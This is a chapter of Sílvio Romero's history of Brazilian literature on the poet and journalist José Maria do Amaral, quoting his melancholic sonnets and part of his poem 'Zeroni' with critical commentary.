José Maria do Amaral.

Silvio Romero – História da Literatura Brasileira (ebook por capítulos)

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TRANSIÇÃO

POETAS DE TRANSIÇÃO ENTRE CLÁSSICOS E ROMÂNTICOS (continuação)

 

José Maria do Amaral. — Nascido em 1812,. foi diplomata e monarquista conservador, e muito mais tarde republicano extremado. Este ilustre velho, falecido em 1885, espalhou o seu pensamento por diversos jornais e periódicos. Desde os tempos da Regência foi mais ou menos assíduo na imprensa: o Correio Mercantil, o Correio Nacional, o Espectador da América do Sul, a Opinião Liberal, o Jornal da Tarde, o Globo, publicaram artigos seus. Além de jornalista político, foi poeta. Não deixou livros impressos.

Homem de espírito inquieto e paixões ardentes, passou por muitas tempestades.

O que havia de tumultuário em sua alma tomou a forma de paixão política. Daí certa animação de seu estilo na prosa dos artigos jornalísticos. O que nele havia de doce e amorável exalou-se num lirismo suave e meigo.

Educado pelo sofrimento real e positivo, sua melancolia foi verdadeira e digna de respeito. Maestus sed pla-cidus, este título de um soneto seu, pode ser tomado por sua divisa. Há todas as provas de que o velho era sincero, quando falava em suas tristezas:

"Tristezas de minha alma tão sentidas,
Que sois doces memórias do passado,
Do tempo já vivido, e tão lembrado,
Inda me dais as horas já perdidas!

Horas de tanto bem, tão bem vividas,
Quando vivi feliz e descuidado,
Sejam ao coração desenganado
Sonhos que enganem dores tão gemidas.

Tem hoje o meu viver tal agonia,
Que é doçura a tristeza da saudade,
E a saudade do tempo é poesia.

Flores da quadra sois da mocidade,
Minha velhice em vós se refugia,
Tristezas de minh’alma em soledade…"

Como expressão da melancolia verdadeira este soneto é um dos mais estimáveis documentos em língua portuguesa.

No poeta fala a poesia do passado, a saudade, a res-tituir-lhe as horas já perdidas.

José Maria do Amaral passou por diversas fases e atravessou diversas doutrinas. Homem estudioso, acompanhou mais ou menos o movimento de seu tempo, e as suas velhas crenças esboroaram-se. Mas, como em certas circunstâncias atrozes do homem desaparecem todas as douraduras que a civilização lhe sobrepôs e de súbito surgem os instintos puramente selvagens, em certas naturezas desnudadas pelo ceticismo brotam de um sopro, de quando em vez, as velhas e primitivas crenças.

É isto assim, sobretudo naqueles para os quais a poesia é a recordação de um mundo esvaecido.

O seguinte soneto é uma prova eloqüente deste fato:

"São nesta vida certas as tristezas,
Teve-as o próprio Cristo, e teve dores!…
Duram sorrisos o que duram flores…
Mundo, que és tu?… Caminho de incertezas.

Em peito humilde, e em peito de princesas
Nascem mágoas tão cheias de rigores
Que a mão da morte então é mão de amores
Mirrando as almas de tais dores presas.

De quantas mortes d’alma não morreste
Na morte atroz do filho teu divino
, ó virgem pura, que de dor viveste!

Virgem! seja de fé a ti um hino
A dor de um pai aflito;
tu sofreste,
Seja a teus pés bendito o meu destino."

Este brado de dor foi arrancado ao poeta pela morte de uma filha que se afogara.

É a mesma situação de Vítor Hugo em algumas poesias das Contemplações.

Os seguintes versos exprimem ainda o mesmo sentimento :

"Passaste como a estrela matutina,
Que se some na luz pura da aurora;
Da vida só viveste aquela hora
Em que a existência em flor luz sem neblina.

Ver-te e perder-te!
De tão triste sina
Não passa a mágoa em mim, antes piora
;
Sem ver-te já, minh’alma inda te adora
Em triste culto que a saudade ensina.

Não vivo aqui; a vida em ti só ponho,
Na fé, de Cristo filha, a dor abrigo,
Futuro em ti no céu vejo risonho!

Neste mundo, meu mundo é teu jazigo;
Dizem que a vida é triste e falaz sonho,
Se é sonho a vida, sonharei contigo."

Amaral é a antítese de Maciel Monteiro. Este era essencialmente aristocrata; procurou a diplomacia em meio da vida para divertir-se, e nela morreu. Talentoso; mas frívolo. Aquele foi diplomata no princípio de sua carreira; retirado e un peu farouche, foi no fim da vida um republicano ardente. Pouco brilhante, porém sincero. Vivia pela subjetividade.

Mesmo em pinturas da natureza exterior aparecem-lhe as preocupações íntimas, a vida do espírito.

Eis como descreve uma das cenas mais fulgentes de toda a terra, uma Manhã em Petrópolis:

"Que dourada manhã, que luz mimosa
Enverniza dos campos a verdura!
Que aura cheirosa e cheia de brandura!
Será, quem sabe, o respirar da rosa?

Doura-se em luz a serra majestosa,
Das flores leva a Deus a essência pura;
Dos pássaros nos sons com que doçura,
Canta a floresta antífona maviosa!

D’alma em ternura a ti sobem louvores,
Bendito Criador da natureza!
Quem vê sem te adorar tantos primores?

Que humano rosto em si tem tal beleza?
De qual beleza nascem mais amores?
E quais amores têm tanta grandeza?"

Poucas literaturas são tão férteis em produtos de falsa tristeza, de sentimentalismo afetado como a brasileira.

É a razão pela qual um punhado de poesias que nos ficaram de José Maria do Amaral constituem uma região à parte em nossas letras. No meio duma multidão de carpideiras pedantemente desgrenhadas, surge a figura verdadeiramente sentida, pungentemente convicta do velho sofredor.

Eis como responde a um amigo que lhe dirigira uns versos entusiásticos:

"Se voz cristã em tom harmonioso.
Dos mortos à mansão seu hino envia,
Rompe talvez da morte a letargia,
O espectro acorda quase esperançoso!

~Do teu benigno metro, tão piedoso,
Minha descrença ouviu a melodia;
A fé quase sorriu quando te ouvia!
Deu ao mundo um olhar quase saudoso!

Desertas ruínas onde reina a calma
Têm na tristeza graça e têm doçura
Se ao pé lhes nasce esbelta e verde palma:

Assim teu canto de cristã doçura
É nos ermos sombrios de minn’alma,
Rosa que enfeita velha sepultura!…"

Aqui a solidão d’alma do poeta já é quase completa e a voz amiga é como prece em ara abandonada, flor silvestre em branca sepultura. No Desengano assiste-se ao desfolhar de suas esperanças, ao anoitecer de suas crenças, ao desmoronamento de suas fantasias:

"Uma por uma, da existência as flores,
Se a existência que temos é florida,
Uma por uma, no correr da vida,
Fanadas vi sem viço e vi sem cores.

Sonhos mundanos, sois enganadores,
Alma que vos sonhou, geme iludida,
Existência, de flores tão despida,
Que te fica senão tristeza e dores?

Do mundo as ilusões perdi funestas,
Ao noitejar da idade, em amargura,
Esperança cristã, só tu me restas!

Fujo contigo desta vida impura,
Nas crenças que tão mística me emprestas
Transponho antes da morte a sepultura."

É triste e, contudo, o poeta ainda então se alimentava do misticismo cristão.

O despedaçar das crenças prossegue, ainda que não chegue a um termo radical. O leitor acompanhe-me nesta viagem através de um espírito. A viagem é dolorosa, porém instrutiva. Em Tristeza Amarga dá-se um passo mais.

O poeta, apesar de sua antiga esperança, vê diante de si a figura gélida e pavorosa do nada eterno, e apesar do seu ânimo forte, segundo sua própria expressão, sente-se amargamente apavorado:

"Não chames sonhos a tristeza e dores
Do coração que chora a mocidade,
Na tarde triste da tristonha idade,
Que é tronco seco onde morreram flores.

Sonhos não são; nem são já sonhadores
Os que da vida sabem a verdade;
Dor pungente e real é a saudade
Do tempo em que de nós fomos senhores.

Nossos não somos já, senão da morte,
Quando entre o mundo está e a sepultura
Em fase derradeira, a nossa sorte;

Quem pode então lembrar, sem amargura,
Tenha embora o vigor do ânimo forte,
Que vai da vida a luz ser noite escura!"

Amaral passou os últimos anos de sua atribulada existência na mais angustiosa das situações do espírito. Romântico idealista, religioso e crente por índole e educação, viveu feliz no começo de sua carreira. Mais tarde graves desgostos íntimos assediaram-no. Todo idealista, ferido de morte naquelas crenças e predileções que são como a carne e os ossos de sua própria vida, ou aferra-se cada vez mais em sua intuição, ou precipita-se nesse estado de vacilação, nessa luta de duas almas que se combatem, nesse cambalear constante, que constitui a forma mais pavorosa do ceticismo. Romper de uma vez com o passado, riscá-lo da memória, apagá-lo do sangue, amputá-lo da vida é quase um impossível. Raros o terão conseguido; e Amaral não foi deste número.

Uma outra circunstância veio complicar-lhe ainda mais a situação psicológica: depois de velho, depois de mais de sessenta anos de cristianismo idealista, Amaral foi abalado pelo sopro violento das idéias positivas. Já ferido no coto d’asa de suas fantasias pelos desgostos íntimos, ainda mais perturbado ficou. Assediado de dúvidas, mergulhado em desespero mental morreu o pobre velho.

No A Que Vim? acha-se pintada essa situação:

"Quando triste me ponho a cogitar
Na vida cujo sol se me vai pôr,
Procuro em vão da juventude a flor
Que seca se esfolhou sem fruto dar.

Tento debalde o enigma decifrar,
Que em nós compôs de nosso ser o autor;
Nosso viver tão cheio de amargor
Que glória ou bem a Deus pode prestar?

Da morte o sono eterno vou dormir;
Se dele em melhor mundo não me erguer,
Acabo sem saber me definir.

Que vim fazer no mundo?
Vim viver;
O que é viver? afirmo sem mentir
Que é rir, gemer, brigar para morrer."

Não morreu como cristão nem tampouco morreu como materialista. Acabou envolto em dúvidas e desilusões.

Angustiosa situação em verdade.

Se eu quisesse filiar o espírito do nosso democrata como poeta no espírito de alguém, esse havia de ser o velho inconfidente Cláudio da Costa. Há nestes dous homens alguns pontos de contacto na vida e pelo lado mental semelhanças profundas. Em ambos a poesia lírica é uma revivescência de uma qualidade étnica; em ambos o lirismo tem aquela forma e aquele sabor do velho lirismo português de bom quilate.

Amaral não exerceu uma influência profunda na poesia brasileira, porque, passando os melhores anos de sua vida fora do país, muito poucas publicações literárias fez entre nós. Ele poderia ter sido o genuíno introdutor do romantismo no Brasil. Nenhum dos poetas nacionais de seu tempo teve em mais alto grau aquela doçura, aquela delicadeza de impressões, nem aquele vago do pensamento e aquela embriaguez do desconhecido extravasados em linguagem ondulante e caprichosa, ninguém mais do que ele teve aqui esse distintivo romântico.

Foi um digno companheiro de Garrett; e deste poeta ficou-lhe, qual monodia d’estranhos mundos, esse prazer das solidões selvagens da natureza e especialmente das vastidões intérminas do mar…

"Longe por esse azul dos vastos mares,
Na soidão melancólica das águas,
Ouvi gemer a lamentosa alcíone,
E com ela gemeu minha saudade."

Assim disse o poeta português nestes versos dos mais belos de nossa língua; o poeta brasileiro tem alguma cousa de semelhante na ouverture do poema Zeroni:

Aos mares outra vez, vamos aos mares,
Nas vagas embalar os sonhos d’alma.
No inquieto balouçar de inquietas ondas
Vamos da vida sacudir os nojos.
Solta o velame, nauta, aos sopros d’alva,
Acima o ferro, ao horizonte a proa.

Leva-me longe a errar por essas águas,
Abre-me a vastidão que as brisas correm,
Quero entornar minh’alma em tanto espaço,
Quero em tanta grandeza engrandecê-la.
Nem pátria o bardo tem nem tem amores;
Canta como alcião, como ele voa

De vaga em vaga às bordas do infinito,
De brisa em brisa es folha a vida em hinos.
À terra um só adeus, partamos, nauta,
Aos mares outra vez, vamos aos mares,
Nas vagas embalar os sonhos d’alma.

Longe daqui, bem longe, a estranhos climas
Levai-me, ó brisas, revelai-me a terra.
Desponta a vida, e a luz de tal aurora
Do mundo as vistas doure ao bardo errante.
Dentre mares e céus solta nos ermos
Aprenda a mente os sonhos do infinito…
Que vale a vida aqui?
É dor ou tédio;
É doce sonho a dor quando adormece
Ninada ao brando sussurrar das ondas.
Aos irares outra vez, vamos aos mares,
Nas vagas embalar os sonhos d’alma.

Amo a tristeza imensa desses mares,
Que as quimeras sublima da existência,
Se de nobres paixões são flores puras.
Quero na pia enorme do oceano,
Nessas águas sem fim, sombra dos céus,
Padrinho Deus, a solidão madrinha,
Batismo excelso dar na fé dos bardos,
À mística visão que oculto n’alma.

Salve, prefácio augusto do infinito,
Coetâneas do caos, águas sagradas,
Que o verbo criador a Deus ouvistes,
Quando da mente lhe nascia o mundo!
Tu, magno vate de tristezas magnas,
Das procelas do céu cantor sublime,
Velho oceano, rei das solitudes,
Nos ermos teus abriga, em ti sublima,
Esta tão grande dor, que em ti só cabe!
Berço onde vida e penas me nasceram,
Serras pátrias, adeus!
Partamos, nauta,
Aos mares outra vez, vamos aos mares,
Nas vagas embalar os sonhos d’alma."

Num país, como este, onde a afoiteza das idéias e a embriaguez da liberdade são partilha da primeira mocidade, são um fruto da quadra acadêmica, o exemplo de José Maria do Amaral, depois de velho, atirar as cartas em cima da mesa e mostrar todo o seu jogo, não é fenômeno vulgar. O ancião revolucionário atuou como força no seio da democracia brasileira. Sua figura tende a tornar-se cada vez mais acentuada, e desde hoje se pode definitivamente afirmar que o poeta ocupa um lugar de honra em nossa história literária. O jornalista não foi tão ilustre.

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